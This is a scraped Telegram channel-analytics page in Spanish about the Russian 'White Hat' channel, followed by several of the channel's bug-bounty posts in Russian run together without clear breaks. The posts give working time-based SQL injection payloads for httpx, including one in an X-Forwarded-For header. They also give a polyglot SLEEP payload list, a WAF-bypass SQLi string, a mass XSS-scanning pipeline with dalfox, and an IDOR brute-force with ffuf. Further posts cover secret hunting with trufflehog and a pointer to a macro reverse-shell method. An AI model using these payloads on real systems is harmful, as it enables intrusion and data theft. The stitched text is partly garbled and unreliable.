White Hat
Пишем про информационную безопасность и белый хакинг. Сотрудничество: @workhouse_price Канал на бирже: https://telega.in/c/kind_hack Канал в реестре РКН: https://clck.ru/3FtTnR
Mostrar más📈 Análisis del canal de Telegram White Hat
El canal White Hat (@kind_hack) en el segmento lingüístico de Ruso es un actor destacado. Actualmente la comunidad reúne a 11 791 suscriptores, ocupando la posición 10 597 en la categoría Tecnologías y Aplicaciones y el puesto 55 585 en la región Rusia.
📊 Métricas de audiencia y dinámica
Desde su creación el невідомо, el proyecto ha mostrado un crecimiento acelerado, reuniendo a 11 791 suscriptores.
Según los últimos datos del 25 junio, 2026, el canal mantiene una actividad estable. En los últimos 30 días la variación de miembros fue de 384, y en las últimas 24 horas de 13, conservando un alto alcance.
- Estado de verificación: No verificado
- Tasa de interacción (ER): El promedio de interacción de la audiencia es 8.32%. Durante las primeras 24 horas tras publicar, el contenido suele obtener 3.55% de reacciones respecto al total de suscriptores.
- Alcance de las publicaciones: Cada publicación recibe en promedio 981 visualizaciones. En el primer día suele acumular 419 visualizaciones.
- Reacciones e interacción: La audiencia responde de forma activa: el promedio de reacciones por publicación es 4.
- Intereses temáticos: El contenido se centra en temas clave como взлом, шпаргалка, обнаружение, протокол, хакер.
📝 Descripción y política de contenido
El autor describe el recurso como un espacio para expresar opiniones subjetivas:
“Пишем про информационную безопасность и белый хакинг.
Сотрудничество: @workhouse_price
Канал на бирже: https://telega.in/c/kind_hack
Канал в реестре РКН: https://clck.ru/3FtTnR”
Gracias a la alta frecuencia de actualizaciones (últimos datos recibidos el 26 junio, 2026), el canal mantiene la vigencia y un amplio alcance. La analítica demuestra que la audiencia interactúa activamente con el contenido, lo que lo convierte en un punto de referencia dentro de la categoría Tecnologías y Aplicaciones.
| Привет, друг. На связи Эллиот.
Когда нужно проверить список доменов на Time-Based уязвимости и лень писать шаблон для Nuclei, можно заюзать httpx с параметрами -timeout, для указания максимального таймаута и -mrt, для вывода только результатов с определенной задержкой.
cat web.list | httpx -silent -path '/sitemap.xml?offset=1%3bSELECT%20IF((8303%3E8302)%2cSLEEP(10)%2c2356)%23' -rt -timeout 20 -mrt '>10'
Аналогично, для заголовков:
cat web.list | httpx -silent -H "X-Forwarded-For: 'XOR(if(now()=sysdate(),sleep(10),0))OR" -rt -timeout 20 -mrt '>10'
#Web #SQLi #RCEhttps://example.com на адрес тестируемого сайта и выполнить команду:
gospider -s https://example.com -c 10 -d 5 --blacklist ".(jpg|jpeg|gif|css|tif|tiff|png|ttf|woff|woff2|ico|pdf|svg|txt)" --other-source | grep -e "code-200" | awk '{print $5}' | grep "=" | qsreplace -a | dalfox pipe -o result.txt
#Web #XSShttps://targetdomain.com/user/3bf1114a986ba87ed28fc1b5884fc2f8
Для решения этой задачи, вы можете использовать простой bash-скрипт, совместно с ffuf.
Предположим, у вас есть конечная точка, которая принимает параметр id в виде md5. Мы можем проверить его на IDOR с помощью приведенной ниже команды, которая сгенерирует список чисел от 1 до 1000:
seq 1 1000 | hashit md5 | ffuf -w - -u https://targetdomain.com/user/FUZZ
#Web #IDOR #BashSLEEP(5) /*' or SLEEP(5) or'" or SLEEP(5) or "*/
Немного изменив ее, мы можем добиться отсутствия пробелов, что сделает ее более универсальной:
SLEEP(5)/*'or(SLEEP(5))or'"or(SLEEP(5))or"*/
Немного модифицировав её, вы сможете охватить некоторые другие случаи:
)SLEEP(0.5)(/*')or(SLEEP(0.5))or('")or(SLEEP(0.5))or("*/
Все дело в построении уязвимых SQL-запросов и поиска полезных нагрузок для каждого из них.
Данный список вы можете пополнить самостоятельно. Хорошей практикой будет использование тестовых лабораторий и создание нескольких полезных нагрузок для каждого сценария с использованием различных методов.
Это действительно улучшит ваши навыки работы с SQL-инъекциями и пополнит список рабочих полезных нагрузок в вашем арсенале.
Поэтому перестаньте использовать бесполезные вордлисты на 1к строк, не понимая должным образом, что они делают или как они работают. Помните, что из выбора бесполезного количества в ущерб качеству никогда не выйдет ничего хорошего, кроме потери действительно хороших возможностей.
P.S. Для тестов всего этого прекрасно подойдет sqlfiddle.com, в котором можно создавать и тестировать запросы к БД. Тут пример инъекции с применением полезных нагрузок из поста.
#Web #SQLi| Привет, друг. На связи Эллиот
Макросы из офисных документов Windows активно используются злоумышленниками или исследователями безопасности для доставки полезной нагрузки на сервер и компрометации системы.
В статье по ссылке представлен рабочий метод создания макроса для документов Word и Excel и его использование для вызова другого объекта, расположенного в свойствах документа. В видео ниже продемонстрировано получение реверс шелла с помощью этого метода.
⏺ Ссылка на чтиво
⏺ Ссылка на видеоматериал
#Word #Excel #Windowshttps://example.com/getUser?name=' or "=' (403 Forbidden)
https://example.com/getUser?name=' or 1337.e(")=' (200 OK)
#Web #WAF #SQLitrufflehog filesystem --directory=/results/domain.com
#Reconprintf site.com | gau
После этого начинаем вручную анализировать конечные точки и URL-адреса, уделяя особое внимание некоторым чувствительным ключевым словам:
invoice, discount, promo-code, join, redirect, reset_password, reset-password, password, TrackOrder, token, invite.
В примере на фото ниже привлекает внимание слово invite. После нажатия по данной ссылке открывается страница регистрации. После создания новой учетной записи с личной электронной почтой (@gmail.com) сайт просто перенаправляет на страницу компании внутри целевого приложения, содержащую всех приглашенных сотрудников и конфиденциальную информацию.
#Web #Leak| Привет, друг. На связи Эллиот.
Основные этапы JavaScript-разведки в Bug Bounty это:
1 - Сбор файлов JS от цели.
2 - Поиск конечных точек из файлов JS.
3 - Поиск секретов в файлах JS.
4 - Получение файлов JS локально для ручного анализа.
7 - Извлечение имен переменных из файлов JS для проверки на XSS.
8 - Сканировать файлов JS на наличие DomXSS.
Для автоматизация вышеперечисленных и некоторых других действий есть неплохой инструмент, под названием JSFScan. Достаточно передать ему список поддоменов и задать опции в соответствии с вашими предпочтениями.
Ниже представлено видео, демонстрирующее процесс работы с данным инструментом.
⏺ Ссылка на GitHub
⏺ Ссылка на видео
#Web #JS
¡Ya disponible! Investigación de Telegram 2025 — los principales insights del año 
